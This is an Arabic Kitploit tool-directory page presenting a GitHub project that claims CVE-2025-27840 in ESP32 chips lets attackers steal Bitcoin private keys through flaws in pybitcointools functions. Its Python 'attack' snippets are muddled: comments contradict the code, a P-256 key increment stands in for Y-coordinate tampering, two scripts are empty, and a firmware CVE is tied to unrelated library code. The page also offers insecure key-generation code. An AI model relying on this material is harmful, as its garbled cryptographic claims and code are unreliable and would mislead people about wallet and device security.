Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Bluetooth-Attacks-CVE-2025-27840 — تحليل تشفير البيتكوين: ثغرة CVE-2025-27840 في المتحكمات الدقيقة ESP32 تعرض مليارات أجهزة إنترنت الأشياء للخطر عبر Wi-Fi وBluetooth | Kitploit
أدوات/GitHubGitHub/demining/bluetooth-attacks-cve-2025-27840
أمان الأنظمة المدمجةأمن البلوتوثأمان إنترنت الأشياءتحليل الثغرات الأمنيةالاستغلالأمن الشبكات اللاسلكيةالتشفيرأمان الأجهزة وإنترنت الأشياءالأوراق والأبحاث

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
التعلم والتعليم
GitHubdemining/bluetooth-attacks-cve-2025-27840

Bluetooth-Attacks-CVE-2025-27840

تحليل تشفير البيتكوين: ثغرة CVE-2025-27840 في المتحكمات الدقيقة ESP32 تعرض مليارات أجهزة إنترنت الأشياء للخطر عبر Wi-Fi وBluetooth

عرض المستودعالموقع الإلكتروني
1256منذ سنة واحدةلم تتم المراجعة بعد
تحليل العملات الرقمية: ثغرة CVE-2025-27840 في المتحكمات الدقيقة ESP32 تعرض مليارات أجهزة إنترنت الأشياء للخطر عبر Wi-Fi و Bluetooth

تناقش هذه الورقة كيف يمكن للمهاجم إدخال قائمة مخفية من الثغرات الأمنية من خلال تحديثات الوحدات، مما قد يؤدي إلى اختراق أجهزة ESP32 والحصول على وصول غير مصرح به إلى المفاتيح الخاصة، مما يؤثر على مليارات الأجهزة التي تستخدم هذا المتحكم الدقيق. إحدى المشكلات الرئيسية هي ثغرة CVE-2025-27840 التي تم اكتشافها في بنية ESP32. لضمان أمان شبكة Bitcoin، حددنا الثغرات التالية، حيث احتمال استخدام مفاتيح خاصة غير صالحة بسبب عدم وجود فحص للحد الأدنى في الدالة  has_invalid_privkey؛ ثغرة في تزوير توقيع المعاملات في الدالة  electrum_sig_hashبسبب عدم التوافق مع BIP-137؛ مشكلة ضعف مولد الأرقام العشوائية (PRNG) في دالة توليد المفاتيح  random_key، مما يجعل المفاتيح الخاصة الشخصية لمحافظ العملات الرقمية قابلة للتوقع؛ عدم التحقق من النقاط على منحنى ECC في الدالة  multiply، مما قد يؤدي إلى هجمات المنحنى غير الصالح؛ ثغرة في الدالة  ecdsa_raw_signعند استعادة الإحداثي Y، مما قد يؤدي إلى استبدال المفتاح العام؛ وثغرات متعلقة بواجهات برمجة التجزئة القديمة في  bin_ripemd160.


  • برنامج تعليمي: https://youtu.be/nBeZWm2z5o4
  • برنامج تعليمي: https://cryptodeeptech.ru/bitcoin-bluetooth-attacks
  • برنامج تعليمي: https://dzen.ru/video/watch/6784be61b09e46422395c236
  • Google Colab: https://colab.research.google.com/drive/15lPDHeTo7FkrPY7v4qS7X6hO4x27qT2Y

في أوائل مارس 2025، حددت Tarlogic Security ثغرة أمنية في المتحكم الدقيق ESP32، الذي يُستخدم على نطاق واسع لتوصيل الأجهزة عبر WiFi و Bluetooth. تم تسجيل هذه الثغرة تحت الرقم CVE-2025-27840 . يمكن للمهاجمين الوصول غير المصرح به إلى بيانات محفظة Bitcoin باستخدام شريحة ESP32 كنقطة لهجمات التشفير على الأجهزة التي تعمل على شبكات العملات الرقمية الشهيرة مثل Bitcoin و Ethereum. تؤثر هذه المشكلة على ملايين أجهزة إنترنت الأشياء التي تستخدم هذا المتحكم الدقيق. سيسمح استغلال هذه الثغرة للمهاجمين بتنفيذ هجمات متنكرة في هيئة مستخدمين شرعيين وإصابة الأجهزة الضعيفة بشكل دائم. يهدد هذا أمان أجهزة إنترنت الأشياء القائمة على المتحكم الدقيق ESP32 ويمكن أن يؤدي إلى سرقة المفاتيح الخاصة لمحافظ Bitcoin.

ESP32 هو متحكم دقيق يُستخدم على نطاق واسع في أجهزة إنترنت الأشياء لتوفير اتصال Wi-Fi و Bluetooth. يمكن للمهاجمين استخدام طرق متنوعة للوصول إلى بيانات المفتاح الخاص لمحافظ Bitcoin عبر ESP32.

يمكن أن تؤدي التهديدات الأمنية المتعلقة بالمتحكم الدقيق ESP32 إلى سرقة المفاتيح الخاصة لمحافظ Bitcoin. تشمل المشكلات الرئيسية وجود الأبواب الخلفية والثغرات الأمنية. باستخدام هذه الثغرات، يمكنهم التلاعب بالذاكرة، وتزوير عناوين MAC، وحقن كود ضار، مما يخلق مخاطر أمنية خطيرة.

يمكن للمهاجمين مهاجمة أجهزة إنترنت الأشياء المزودة بمتحكم دقيق ESP32 باستخدام ثغرات في اتصالات Bluetooth و Wi-Fi، والتي يمكن أن تصبح أداة لمهاجمة أجهزة أخرى على الشبكة المتعلقة بـ Bitcoin، بالإضافة إلى سرقة المعلومات السرية، بما في ذلك المفاتيح الخاصة لمحافظ Bitcoin.


تحليل العملات الرقمية: ثغرة CVE-2025-27840 في المتحكمات الدقيقة ESP32 تعرض مليارات أجهزة إنترنت الأشياء للخطر عبر Wi-Fi & Bluetoothhttps://youtu.be/nBeZWm2z5o4


قائمة الثغرات المخفية:

يمكن للمهاجم تحديث الوحدات وإدخال قائمة من الثغرات المختلفة في الكود، بما في ذلك:

  • ثغرة في الدالة  has_invalid_privkeyيمكن استخدامها للحصول على المفتاح الخاص.
  • ثغرة في الدالة  electrum_sig_hashتسمح بتزوير توقيعات معاملات Bitcoin.
  • ثغرة في الدالة  random_keyمرتبطة بمولد أرقام عشوائي زائف ضعيف (PRNG غير حتمي).
  • ثغرة في الدالة  multiplyحيث لا يوجد فحص لنقطة على منحنى ECC.
  • ثغرات في الدوال  ecdsa_raw_sign و  bin_ripemd160.

يمكن استخدام هذه الثغرات لحقن تحديثات مزيفة في أجهزة ESP32، مما يمنح المهاجمين وصولاً منخفض المستوى إلى النظام. سيمكنهم هذا من تجاوز ضوابط تدقيق الكود والحصول على المفاتيح الخاصة. حالياً، قد تكون مليارات الأجهزة عرضة للخطر بسبب الميزات المخفية لمكون واحد في بنيتها، والذي يُشار إليه بـ CVE-2025-27840.


ثغرة الحصول على المفتاح الخاص في الدالة has_invalid_privkey

تم العثور على هذه الثغرة في كود التحقق من المفتاح الخاص لـ Bitcoin، مما يسمح باستخدام مفاتيح غير صالحة (أقل من أو تساوي 0) بسبب عدم وجود فحص للحد الأدنى. يمكن أن يؤدي هذا إلى فقدان الأموال. لإصلاح ذلك، يجب إضافة فحص للتأكد من أن المفتاح الخاص أكبر من 0. يتم تقديم الكود لأغراض التوضيح.


تحليل العملات الرقمية: ثغرة CVE-2025-27840 في المتحكمات الدقيقة ESP32 تعرض مليارات أجهزة إنترنت الأشياء للخطر عبر Wi-Fi و Bluetoothhttps://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L305

يسمح هذا الخلل باستخدام مفاتيح خاصة سيئة، مما قد يؤدي إلى مشاكل خطيرة، بما في ذلك فقدان المال.

لإصلاح ذلك، تحتاج إلى إضافة فحص للتأكد من أن المفتاح الخاص أكبر من 0.

تخيل أن شخصاً ما يحاول "اختراق" شبكة Bitcoin. يجدون نقطة ضعف في التحقق من المفاتيح الخاصة المستخدمة للوصول إلى العملة الرقمية.

المشكلة هي أن الكود يتحقق فقط مما إذا كان المفتاح الخاص كبيراً جداً. إذا كان المفتاح كبيراً جداً، يتم رفضه. لكن الكود ينسى التحقق مما إذا كان المفتاح صغيراً جداً (أقل من أو يساوي الصفر).

القسم من الكود حيث يحدث هذا:

root@kitploit:~
...
...
if privkey >= N: # التحقق من الحد الأعلى فقط
raise Exception("Invalid privkey")

if privkey <= 0: #
الحد الأدنى لم يتم التحقق منه بشكل صحيح
return True

...
...


بسبب هذا الخلل، من الممكن استخدام مفاتيح خاصة غير صالحة (صغيرة جداً). تقع هذه الثغرة في الدالة  has_invalid_privkey.

لكي يعمل كل هذا، تحتاج إلى تثبيت المكتبة  ecdsa (هي مطلوبة للعمل مع التشفير): 


تحليل العملات الرقمية: ثغرة CVE-2025-27840 في المتحكمات الدقيقة ESP32 تعرض مليارات أجهزة إنترنت الأشياء للخطر عبر Wi-Fi و Bluetooth

نص Python secp256k1_privkey_validator.py

root@kitploit:~
!pip install ecdsa 
import ecdsa

def has_invalid_privkey(privkey: int) -> bool:
"""
تتحقق مما إذا كان المفتاح الخاص غير صالح، بناءً على عدم وجود فحص للحد الأدنى.

Args:
privkey: المفتاح الخاص المراد فحصه.

Returns:
True إذا كان المفتاح الخاص غير صالح (<= 0 أو >= N)، وإلا False.
"""
# ترتيب المنحنى الإهليلجي secp256k1 المستخدم من قبل Bitcoin
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

if privkey >= N: # التحقق من الحد الأعلى فقط
raise Exception("مفتاح خاص غير صالح")

if privkey <= 0: # فحص الحد الأدنى مفقود
return True

return False

# مثال على الاستخدام
privkey = 0 # مفتاح خاص غير صالح
is_invalid = has_invalid_privkey(privkey)

if is_invalid:
print("مفتاح خاص غير صالح!")
else:
print("مفتاح خاص صالح.")

شرح الكود:

  1. استيراد المكتبةecdsa : على الرغم من أنها غير مستخدمة مباشرة في هذا المثال، إلا أنه في السيناريوهات الحقيقية التي تتضمن Bitcoin و ECDSA (خوارزمية التوقيع الرقمي بالمنحنى الإهليلجي)، قد تكون هذه المكتبة مطلوبة لإجراء عمليات التشفير.
  2. الدالةhas_invalid_privkey(privkey: int) -> bool :
    • privkeyتأخذ مفتاحاً خاصاً كعدد صحيح كمدخل .
    • تعرف ثابتاً Nيمثل ترتيب المنحنى الإهليلجي secp256k1 المستخدم في Bitcoin.
    • تتحقق مما إذا كان privkeyأكبر من أو يساوي N. إذا كان الأمر كذلك، ترفع استثناءً يشير إلى أن المفتاح الخاص غير صالح.
    • تتحقق مما إذا كان privkeyأقل من أو يساوي 0. إذا كان الأمر كذلك، تُرجع True، مما يشير إلى أن المفتاح الخاص غير صالح بسبب عدم وجود فحص للحد الأدنى.
    • إذا فشل كلا الفحصين، تُرجع False.
  3. مثال على الاستخدام :
    • يضبط القيمة على privkey = 0، وهو مفتاح خاص غير صالح.

الثغرة :

يحتوي الكود على ثغرة تتعلق بعدم كفاية التحقق من المفتاح الخاص. أي أنه لا يوجد فحص للحد الأدنى (privkey <= 0). وهذا يسمح باستخدام مفاتيح خاصة غير صالحة، مما قد يؤدي إلى عواقب غير متوقعة، بما في ذلك فقدان الأموال.

كيفية الإصلاح :

يجب إضافة فحص للحد الأدنى للمفتاح الخاص للتأكد من أنه أكبر من 0.


ثغرة تزوير توقيع معاملة Bitcoin في الدالة electrum_sig_hash

تستخدم الدالة  electrum_sig_hash في Electrum طريقة غير قياسية لتجزئة الرسائل، مما يجعلها عرضة لهجمات تزوير التوقيع بسبب عدم توافقها مع BIP-137.


تحليل العملات الرقمية: ثغرة CVE-2025-27840 في المتحكمات الدقيقة ESP32 تعرض مليارات أجهزة إنترنت الأشياء للخطر عبر Wi-Fi و Bluetoothhttps://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L425

يمكن لمهاجم يستهدف شبكة Bitcoin اكتشاف طريقة تجزئة الرسائل غير القياسية التي يستخدمها Electrum عبر  electrum_sig_hash. تنشئ هذه الدالة تجزئة للرسالة بطريقة يمكن أن تؤدي إلى هجمات تزوير التوقيع بسبب عدم توافقها مع BIP-137. يوضح نص Python المقدم كيف يمكن للمهاجم توليد تجزئة الرسالة المستخدمة من قبل Electrum لاستغلال ثغرة عدم التوافق مع BIP-137. تقوم الدالة  electrum_sig_hash بإعداد الرسالة بإضافة بادئة وتشفير طولها قبل التجزئة المزدوجة باستخدام SHA256.

نص Python يوضح كيف يمكن للمهاجم العثور على تجزئة رسالة غير قياسية يستخدمها Electrum لتنفيذ هجمات تزوير التوقيع بسبب عدم التوافق مع BIP-137.


تحليل العملات الرقمية: ثغرة CVE-2025-27840 في المتحكمات الدقيقة ESP32 تعرض مليارات أجهزة إنترنت الأشياء للخطر عبر Wi-Fi و Bluetooth

نص Python bitcoin_sign_hash.py

root@kitploit:~
!pip install ecdsa 
import hashlib

def num_to_var_int(i):
if i < 0xfd:
return i.to_bytes(1, 'little')
elif i <= 0xffff:
return b'\xfd' + i.to_bytes(2, 'little')
elif i <= 0xffffffff:
return b'\xfe' + i.to_bytes(4, 'little')
else:
return b'\xff' + i.to_bytes(8, 'little')

def from_string_to_bytes(s):
return s.encode('utf-8')

def bin_dbl_sha256(s):
hash1 = hashlib.sha256(s).digest()
hash2 = hashlib.sha256(hash1).digest()
return hash2

def electrum_sig_hash(message):
padded = b"\x18Bitcoin Signed Message:\n" + num_to_var_int(len(message)) + from_string_to_bytes(message)
return bin_dbl_sha256(padded)

# مثال على الاستخدام
message = "رسالة مثال للتوقيع"
message_hash = electrum_sig_hash(message)
print(f"تجزئة رسالة Electrum: {message_hash.hex()}")

في هذا النص:

  • num_to_var_int(i): يحول عدداً صحيحاً إلى تنسيق الطول المتغير المستخدم في Bitcoin.
  • from_string_to_bytes(s): يشفر سلسلة نصية إلى بايتات باستخدام ترميز UTF-8.
  • bin_dbl_sha256(s): يقوم بتجزئة SHA256 مزدوجة للمدخل.
  • electrum_sig_hash(message): يحاكي الطريقة غير القياسية لـ Electrum في تجزئة الرسائل، والتي تخضع لعدم التوافق مع BIP-137.

ثغرة في دالة  random_keyضعف مولد الأرقام العشوائية (PRNG) في توليد المفاتيح (PRNG غير حتمي)

تنشأ المشكلة عندما يستخدم Bitcoin دالة  random_key التي تعتمد على المعامل  لإنشاء المفاتيح random. المعامل  random ليس مخصصاً للأغراض التشفيرية لأنه لا يولد أرقاماً عشوائية كافية، مما يجعل المفاتيح الخاصة قابلة للتوقع من قبل المهاجمين. وهذا يترك شبكة Bitcoin عرضة للخطر.


تحليل تشفير البيتكوين: ثغرة CVE-2025-27840 في المتحكمات الدقيقة ESP32 تعرض مليارات أجهزة إنترنت الأشياء للخطر عبر Wi-Fi و Bluetoothhttps://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L432

نص Python يجعل شبكة البيتكوين عرضة للخطر باستخدام random بدلاً من secrets أو os.urandom، مما يجعل المفاتيح الخاصة قابلة للتنبؤ من قبل مهاجم البيتكوين:

نص Python privkey_generate.py

root@kitploit:~
import random
import time
from hashlib import sha256

def random_string(length):
    return ''.join(random.choice('0123456789abcdef') for i in range(length))

def random_key():
    # يجب أن يكون آمنًا بعد فضيحة java.SecureRandom...
    entropy = random_string(32) \
        + str(random.randrange(2**256)) \
        + str(int(time.time() * 1000000))
    return sha256(entropy.encode('utf-8')).hexdigest()

# مثال استخدام: توليد مفتاح خاص
private_key = random_key()
print("المفتاح الخاص المُنشأ:", private_key)

يستخدم هذا النص وحدة random لتوليد المفاتيح، مما يجعله عرضة للخطر. استخدام وحدة random غير مناسب للأغراض التشفيرية لأنه لا يُنتج أرقامًا عشوائية كافية.


تحليل تشفير البيتكوين: ثغرة CVE-2025-27840 في المتحكمات الدقيقة ESP32 تعرض مليارات أجهزة إنترنت الأشياء للخطر عبر Wi-Fi و Bluetooth

لإنشاء مفتاح أكثر أمانًا، يمكنك استخدام وحدة secrets أو os.urandom. إليك مثال باستخدام وحدة secrets:

root@kitploit:~
import secrets
import hashlib

def secure_random_key():
    # توليد رقم عشوائي مع إنتروبيا كافية
    random_bytes = secrets.token_bytes(32)  # 32 بايت = 256 بت
    
    # تجزئة البايتات العشوائية لإنشاء مفتاح خاص
    private_key = hashlib.sha256(random_bytes).hexdigest()
    return private_key

# مثال استخدام: توليد مفتاح خاص آمن
secure_private_key = secure_random_key()
print("المفتاح الخاص الآمن المُنشأ:", secure_private_key)

في هذا المثال، تُستخدم وحدة secrets لتوليد رقم عشوائي بإنتروبيا كافية. ثم يُجَزَّأ الرقم العشوائي لإنشاء مفتاح خاص شخصي. هذه الطريقة أكثر أمانًا بكثير من استخدام وحدة random.


ثغرة في دالة ecdsa_raw_sign

ثغرة في دالة ecdsa_raw_sign عند استعادة الإحداثي Y يمكن أن تؤدي إلى استبدال المفتاح العام في شبكة البيتكوين. هناك خطر كبير من أن يستغل المهاجم خصوصية استعادة الإحداثي Y عند العمل مع منحنى إهليلجي. هذا الغموض يمكن أن يؤدي إلى استعادة المفتاح العام بشكل غير صحيح.


تحليل تشفير البيتكوين: ثغرة CVE-2025-27840 في المتحكمات الدقيقة ESP32 تعرض مليارات أجهزة إنترنت الأشياء للخطر عبر Wi-Fi و Bluetoothhttps://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L543

مثال الكود، المقدم باستخدام مكتبة pycryptodome، يوضح كيف يمكن محاكاة هذه الحالة عن طريق استبدال الإحداثي Y للحصول على مفتاح عام مختلف وغير صالح. من المهم ملاحظة أن مثال الكود مبسط وليس تطبيقًا كاملاً للهجوم، ولكنه يظهر فقط مبدأه.

يمكن للمهاجم استغلال غموض استعادة الإحداثي Y في شبكة البيتكوين، مما قد يؤدي إلى أخطاء في استعادة المفتاح العام. إليك مثال على كيفية القيام بذلك باستخدام عملية XOR بت.


تحليل تشفير البيتكوين: ثغرة CVE-2025-27840 في المتحكمات الدقيقة ESP32 تعرض مليارات أجهزة إنترنت الأشياء للخطر عبر Wi-Fi و Bluetooth

نص Python weak_key_recovery.py

root@kitploit:~
!pip install pycryptodome 
from hashlib import sha256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
import secrets

# معلمات المنحنى الإهليلجي secp256k1
# لا توفر PyCryptodome طريقة ملائمة لتحديد معلمات منحنى secp256k1 مباشرة.
# لذلك، سنستخدم منحنى ECC القياسي.
# بالنسبة للكود الإنتاجي، كن حذرًا عند اختيار المنحنى ومعلماته.

def hash_to_int(msghash):
return int(sha256(msghash.encode('utf-8')).hexdigest(), 16)

def deterministic_generate_k(msghash, priv_key_int):
k = 0
while k == 0:
v = b'\x01' * 32
k = b'\x00' * 32
k = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
v = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
k = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
v = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
k = int.from_bytes(sha256(v + k).digest(), 'big') # % N # إزالة % N، لأن N لم يعد ثابتًا معرفًا
return k

def ecdsa_raw_sign(msghash, priv_key_int):
z = hash_to_int(msghash)
k = deterministic_generate_k(msghash, priv_key_int)

# توليد كائن المفتاح الخاص
key = ECC.construct(curve='P-256', d=priv_key_int)

# حساب النقطة R = kG
# لا توفر PyCryptodome وصولاً مباشرًا إلى إحداثيات النقطة R
# لذلك، سيتم حساب التوقيع بطريقة مختلفة باستخدام DSS

# s = pow(k, -1, N) * (z + r * private_key_int) % N # N لم يعد معرفًا
# v = 27 + ((y % 2) ^ (0 if s * 2 < N else 1)) # y غير متاح

return key, z, k # إرجاع المفتاح والتجزئة و k للاستخدام اللاحق في التوقيع

def recover_pubkey(msghash, signature, key):
# تحذير: هذا مثال مبسط جدًا لاستعادة المفتاح العام.
# في الواقع، استعادة المفتاح العام لـ ECDSA هي عملية معقدة.
# هذا الكود مخصص فقط لعرض المبدأ.

# لا تحتوي PyCryptodome على طريقة بسيطة لاستعادة PublicKey من r و s مباشرة.
# هذا الكود لا يقوم باستعادة حقيقية، بل ينشئ PublicKey جديدًا من المفتاح الخاص.
# في سيناريو هجوم حقيقي، تحتاج إلى محاولة تخمين الإحداثي y للحصول على PublicKey صالح.
# لكن هذا يتطلب منطقًا أكثر تعقيدًا للعمل مع المنحنى الإهليلجي.
return key.public_key()

def emulate_attack(msghash, priv):
# 1. توقيع الرسالة
priv_key_int = int(priv, 16)
key, z, k = ecdsa_raw_sign(msghash, priv_key_int) signer = DSS.new(key, 'fips-186-3') hash_obj = SHA256.new(msghash.encode('utf-8')) signature = signer.sign(hash_obj) # 2. محاولة استعادة المفتاح العام (بشكل غير صحيح) Q = recover_pubkey(msghash, signature, key) # 3. محاكاة حالة يتم فيها استعادة الإحداثي Y بشكل غير صحيح # في سيناريو هجوم حقيقي، سيحاول المهاجم التكرار عبر إحداثيات y مختلفة. # في هذا المثال، نغير الإحداثي x قليلاً tampered_key = ECC.construct(curve='P-256', d=priv_key_int + 1) # مثال! لا تفعل هذا في الكود الحقيقي! Q_tampered = tampered_key.public_key() return Q, Q_tampered # مثال استخدام msghash = "مثال رسالة" # توليد مفتاح خاص عشوائي private_key = ECC.generate(curve='P-256') priv = hex(private_key.d) # تخزين المفتاح الخاص كسلسلة سداسية عشرية # مثال استخدام Q, Q_tampered = emulate_attack(msghash, priv) print("المفتاح العام الأصلي:", Q) print("المفتاح العام المعدل:", Q_tampered) print("هل المفاتيح متساوية؟", Q == Q_tampered)

يوضح هذا النص كيف يمكن تغيير الإحداثي Y لإنتاج مفتاح عام غير صالح.

يرجى ملاحظة أن هذا مجرد مثال، وقد يكون الهجوم الحقيقي أكثر تعقيدًا.

بالإضافة إلى النص أعلاه، إليك بعض النقاط الإضافية التي يجب مراعاتها:

  • هجوم Frey-Rück: يستغل هذا الهجوم الثغرات في توقيع ECDSA لاستخراج المفتاح الخاص "K" (nonce)، مما قد يؤدي في النهاية إلى استعادة محفظة البيتكوين.
  • العمليات البتية: XOR هي أداة قيمة لتشفير البيانات ويمكن استخدامها مع عمليات أخرى لتحسين الأمان.
  • هجوم 51%: على الرغم من أنه لا يرتبط مباشرة باستعادة الإحداثي Y، إلا أنه من المهم فهم أن المهاجم الذي يتحكم في أكثر من 50% من قوة الحوسبة للشبكة يمكنه نظريًا التلاعب بسلسلة الكتل.
  • التلاعب بإحداثيات منحنى جاكوبي: يمكن للمهاجمين التلاعب بالخصائص الرياضية لإحداثيات جاكوبي لإنشاء توقيعات رقمية مزيفة.
  • تحديث البرامج: من المهم للغاية تحديث برامجك دائمًا واستخدام الأجهزة الموثوقة فقط لمنع الخسائر المحتملة لعملات BTC بسبب الثغرات الحرجة.

ثغرة في دالة bin_ripemd160

واجهات برمجة التطبيقات القديمة للتجزئة على شبكة البيتكوين، خاصة في غياب RIPEMD-160، يمكن أن تكون عرضة للخطر. يمكن للمهاجمين تحديد وتطبيقات التجزئة الضعيفة واستغلالها، مما يبرز أهمية استخدام مكتبات تشفير حديثة وتحديثات أمان منتظمة.


تحليل تشفير البيتكوين: ثغرة CVE-2025-27840 في المتحكمات الدقيقة ESP32 تعرض مليارات أجهزة إنترنت الأشياء للخطر عبر Wi-Fi و Bluetoothhttps://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L378

يمكن لمهاجم على شبكة البيتكوين العثور على ثغرة في واجهة برمجة التطبيقات القديمة للتجزئة، خاصة إذا كانت بعض الأنظمة تفتقر إلى تنفيذ RIPEMD-160. المشكلة تكمن في دالة bin_ripemd160 التي تحاول استخدام hashlib للتجزئة، ولكن إذا فشل ذلك، فإنها تتحول إلى تنفيذها الخاص الأضعف محتملاً.

يوضح نص Python المقدم كيف يمكن للمهاجم اختبار عقدة بيتكوين لوجود مثل هذا التنفيذ الضعيف لواجهة API. إذا كانت hashlib لا تدعم RIPEMD-160، يتم استخدام تنفيذ مبسط، مما قد يؤدي إلى تصادمات تجزئة وثغرات أخرى. يحاكي النص الهجوم عن طريق تجزئة البيانات وطباعة تحذير إذا تم استخدام تنفيذ ضعيف.

تشمل المخاطر إمكانية تزوير المعاملات واستغلال الثغرات المعروفة في واجهات API القديمة. للحماية، يوصى باستخدام مكتبات تشفير حديثة ومختبرة، وتحديث برامج البيتكوين بانتظام، والتحقق من مخرجات العمليات التشفيرية.


تحليل تشفير البيتكوين: ثغرة CVE-2025-27840 في المتحكمات الدقيقة ESP32 تعرض مليارات أجهزة إنترنت الأشياء للخطر عبر Wi-Fi و Bluetooth

نص Python يجد فيه مهاجم البيتكوين واجهة برمجة تطبيقات قديمة للتجزئة ويناقش خطر عدم تنفيذ RIPEMD-160 في بعض البيئات:

نص Python ripemd160_vulnerability.py

root@kitploit:~

شرح تفصيلي:

  1. تنفيذ RIPEMD160 (إذا لم يكن في hashlib):
    • الفئة RIPEMD160 تحاكي تنفيذ RIPEMD160. في الواقع، يجب أن تنفذ خوارزمية التجزئة RIPEMD160. لأغراض العرض، ترجع تجزئة وهمية.
  2. الدالة bin_ripemd160(string):
    • تحاول تجزئة سلسلة الإدخال باستخدام RIPEMD160.
    • يحاول أولاً استخدام تطبيق hashlib، ويعود إلى التطبيق المخصص إذا لزم الأمر.
    • إذا كان hashlib لا يدعم RIPEMD160، فإنه يلتقط استثناء ValueError ويستخدم تطبيقًا مخصصًا.
  3. الدالة check_for_weak_api(data):
    • تحاكي هذه الدالة مهاجمًا يختبر عقدة شبكة بيتكوين بحثًا عن تطبيقات API ضعيفة.
    • تشير إلى أن المهاجم يختبر العقدة بحثًا عن API ضعيف.
    • تقوم بترميز البيانات بصيغة utf-8.
    • تستدعي bin_ripemd160 لتجزئة البيانات.
    • تشير إلى أنه تم تجزئة البيانات وتعرض قيمة التجزئة.
    • إذا كانت التجزئة مزيفة (20 بايت من الأصفار)، تطبع تحذيرًا بأن العقدة تستخدم تطبيقًا ضعيفًا أو مخصصًا لـ RIPEMD160، مما قد يؤدي إلى تصادمات تجزئة أو ثغرات أخرى.
  4. مثال على الاستخدام:
    • في الكتلة if __name__ == "__main__":، تحدد بيانات نموذجية وتستدعي check_for_weak_api بهذه البيانات.

كيف يعمل هذا:

  1. محاكاة الهجوم:
    • يحاكي السكريبت مهاجمًا يحاول تحديد العقد في شبكة بيتكوين التي تستخدم واجهات برمجة تطبيقات RIPEMD160 قديمة أو ضعيفة.
  2. فحص تطبيق RIPEMD160:
    • يحاول استخدام مكتبة hashlib القياسية لتجزئة RIPEMD160. إذا فشل ذلك (لأن hashlib في البيئة المحددة لا يدعم RIPEMD160)، فإنه يعود إلى تطبيق مخصص (وهو في هذا المثال نسخة مبسطة).
  3. تحديد نقاط الضعف:
    • التطبيق المخصص (في هذا المثال) ضعيف عمدًا. يمكن للمهاجم استغلال هذا الضعف إذا كانت العقدة تستخدم هذا التطبيق.
  4. المخاطر المحتملة:
    • تصادمات التجزئة: قد يكون تطبيق ضعيف لتجزئة RIPEMD160 عرضة لتصادمات التجزئة. يمكن للمهاجم استغلال ذلك للتلاعب بالمعاملات أو البيانات.
    • الثغرات الأمنية: قد تحتوي واجهات برمجة التطبيقات المهملة على ثغرات معروفة يمكن للمهاجم استغلالها.

كيفية التخفيف:

  1. استخدام المكتبات الحالية:
    • تأكد من استخدام مكتبات محدثة ومختبرة للعمليات التشفيرية.
    • إذا كان RIPEMD160 مطلوبًا، استخدم تطبيقًا موثوقًا ومحدثًا.
  2. التحديثات المنتظمة:
    • حافظ على تحديث برنامج بيتكوين الخاص بك للاستفادة من الإصلاحات الأمنية والتحسينات.
  3. التحقق:
    • تحقق دائمًا من مخرجات العمليات التشفيرية للتأكد من أنها تلبي المعايير المتوقعة.

ثغرة في الدالة multiply عدم التحقق من نقطة على منحنى ECC

يوجد في شبكة بيتكوين ثغرة محتملة في الدالة multiply بسبب عدم كفاية التحقق من النقاط على منحنى ECC. قد يسمح هذا للمهاجم بتنفيذ هجمات المنحنى غير الصحيح، على الرغم من أن المكتبات التشفيرية الحديثة مثل pycryptodome تجعل هذا الاستغلال صعبًا. الهجوم ممكن من خلال التلاعب بمنحنى جاكوبي ، مما قد يؤدي إلى تزوير التوقيعات والتلاعب بالشبكة.


Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetoothhttps://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L275

في شبكة بيتكوين، يمكن للمهاجم العثور على ثغرة في الدالة multiply التي تفتقر إلى فحص كامل بأن النقطة تقع على منحنى إهليلجي (ECC). في الكود، يتم الفحص فقط للنقاط غير الصفرية، مما يفتح إمكانية هجمات المنحنيات غير الصحيحة (invalid curve attacks).

يوضح نموذج كود المهاجم كيف يمكن استغلال هذه الثغرة. يظهر دالة multiply تفتقر إلى فحص موثوق لنقطة على منحنى، ودالة invalid_curve_attack تحاول استغلال هذا الضعف. يستخدم الكود أيضًا مكتبات pycryptodome للعمليات التشفيرية.

تجعل pycryptodome من الصعب تنفيذ مثل هذه الهجمات مباشرة بسبب آليات الأمان المضمنة. يوضح الكود كيف يمكن إنشاء منحنى "غير صحيح" ومحاولة تنفيذ عملية ضرب، ولكن يتم التأكيد على أن هذا غير آمن ويتطلب فهمًا عميقًا للتشفير.


من خلال استغلال ثغرة في الدالة multiply، يمكن للمهاجم تنفيذ هجوم المنحنى غير الصحيح لاختراق المفاتيح الخاصة على شبكة بيتكوين. فيما يلي نموذج سكريبت بايثون يوضح هذا الهجوم.


Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth

سكريبت بايثون ecdsa_curve_attack.py

root@kitploit:~
